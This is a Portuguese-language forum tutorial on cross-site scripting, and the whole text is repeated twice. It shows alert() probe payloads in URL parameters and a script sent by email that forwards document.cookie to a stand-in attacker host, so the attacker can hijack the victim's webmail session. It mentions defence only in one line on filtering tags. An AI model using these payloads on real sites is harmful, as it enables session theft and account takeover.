Cross site scripting, também conhecido como XSS, é uma falha muito conhecida e utilizada por hackers para obter vantagens em um sistema baseado em Web. Mesmo esta técnica já sendo de conhecimento geral, uma boa parte dos sistemas ainda está sujeito à falhas desse gênero.
XSS é uma técnica utilizada para roubar sessões (cookies) em uma aplicação web. Ela consiste na injeção de tags html e comandos Java script em alguma função de um sistema, sendo assim tornando possível obter sessões de outros usuários sem a necessidade de se ter autorização para tal.
Em outras palavras: Seria possível entrar em um webmail, fórum, livro de visitas e até mesmo um banco on-line sem a necessidade de se saber a senha do alvo. Esta técnica oferece alto risco a um usuário alvo tendo em vista que informações sensíveis poderão ser descobertas caso a falha exista.
Para utilizar tal técnica, será necessário um browser que suporte Java script. Também se faz necessário que o alvo a ser testado tenha páginas dinâmicas (podem ser dos mais diversos tipos: asp, jsp ,php , perl).
Suponha que o site:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função:
acao=inbox e login=1
Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... script >alert(? Vulnerável a XSS!? )&login=1
Outra forma seria:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... script >alert (?Vulnerível a XSS!?)< /script >&login=1
Poderia também utilizar a tag Java script :
<script >alert(document.cookie) < /script >
O que retornaria o cookie da sessão aberta, porém este cookie seria da sessão do atacante, o que não teria serventia.
Então, como pegar o cookie de outras pessoas?
Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails.
Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo.
No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag:
< script > document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=' + document.cookie;
< /script >
Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo.
A melhor forma para evitar tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo:
< a >teste
Xss< /a >
OBS: *todas as < > sem espaços
XSS é uma técnica utilizada para roubar sessões (cookies) em uma aplicação web. Ela consiste na injeção de tags html e comandos Java script em alguma função de um sistema, sendo assim tornando possível obter sessões de outros usuários sem a necessidade de se ter autorização para tal.
Em outras palavras: Seria possível entrar em um webmail, fórum, livro de visitas e até mesmo um banco on-line sem a necessidade de se saber a senha do alvo. Esta técnica oferece alto risco a um usuário alvo tendo em vista que informações sensíveis poderão ser descobertas caso a falha exista.
Para utilizar tal técnica, será necessário um browser que suporte Java script. Também se faz necessário que o alvo a ser testado tenha páginas dinâmicas (podem ser dos mais diversos tipos: asp, jsp ,php , perl).
Suponha que o site:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função:
acao=inbox e login=1
Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... script >alert(? Vulnerável a XSS!? )&login=1
Outra forma seria:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... script >alert (?Vulnerível a XSS!?)< /script >&login=1
Poderia também utilizar a tag Java script :
<script >alert(document.cookie) < /script >
O que retornaria o cookie da sessão aberta, porém este cookie seria da sessão do atacante, o que não teria serventia.
Então, como pegar o cookie de outras pessoas?
Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails.
Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo.
No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag:
< script > document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=' + document.cookie;
< /script >
Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo.
A melhor forma para evitar tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo:
< a >teste
Xss< /a >
OBS: *todas as < > sem espaços